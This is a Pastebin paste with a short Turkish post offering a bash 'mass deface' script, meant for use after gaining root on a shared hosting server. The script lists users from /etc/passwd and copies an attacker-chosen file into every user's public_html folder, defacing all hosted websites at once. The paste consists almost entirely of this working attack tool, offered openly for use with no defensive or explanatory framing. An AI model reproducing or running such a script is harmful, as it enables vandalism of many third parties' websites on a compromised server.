Advertisement
KingSkrupellos

Server Mass Deface Root Bash Script 2017

Aug 17th, 2017
343
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. Mass Deface (root) Bash Script
  2.  
  3. Sitelerde Windows & Linux Server Root Olduktan Sonra Sunucuda Bulunan Tüm Siteleri Aynı Anda İndexleyebileceğiniz Basit Bash Dilinde Yazılmış Güzel Bir Script :cigara:
  4.  
  5. [img]https://i.hizliresim.com/jWdWVW.png[/img]
  6.  
  7. [hide][code]#!/bin/bash
  8. args=("$@")
  9. UHOME="/home"
  10. FILE=$(pwd)"/"${args[0]}
  11. priv=$([ $(id -u) == 0 ] && echo " hadi basliyalim..........." || echo " bu dosyayi calistirabilmeniz icin root olmanız gerekiyor :)")
  12.  
  13. echo " ~~~~~ Mass Deface (root) ~~~~~ "
  14. echo " ~~ Coded by: KingSkrUPELLOS ~~ "
  15. echo " ~ Cyberizm.Org Digital Security Team ~ "
  16. echo "------ [ usage: ./mass file ] ------"
  17. echo ""
  18. echo $priv
  19. echo ""
  20.  
  21. if [ -z "$1" ]
  22. then
  23. echo "usage: ./mass file"
  24.  
  25. else
  26.  
  27. # get list of all users
  28. _USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
  29. for u in $_USERS
  30. do
  31. _dir="${UHOME}/${u}/public_html"
  32. if [ -d "$_dir" ] && [ $(id -u) == 0 ]
  33. then
  34. /bin/cp "$FILE" "$_dir"
  35. if [ -e "$_dir/"$(basename "$FILE") ]
  36. then
  37. echo "[+] Başarılı ->" "$_dir/"$(basename "$FILE")
  38. #chown $(id -un $u):$(id -gn $u) "$_dir/"$(basename "$FILE")
  39. fi
  40. fi
  41. done
  42. fi[/code][/hide]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement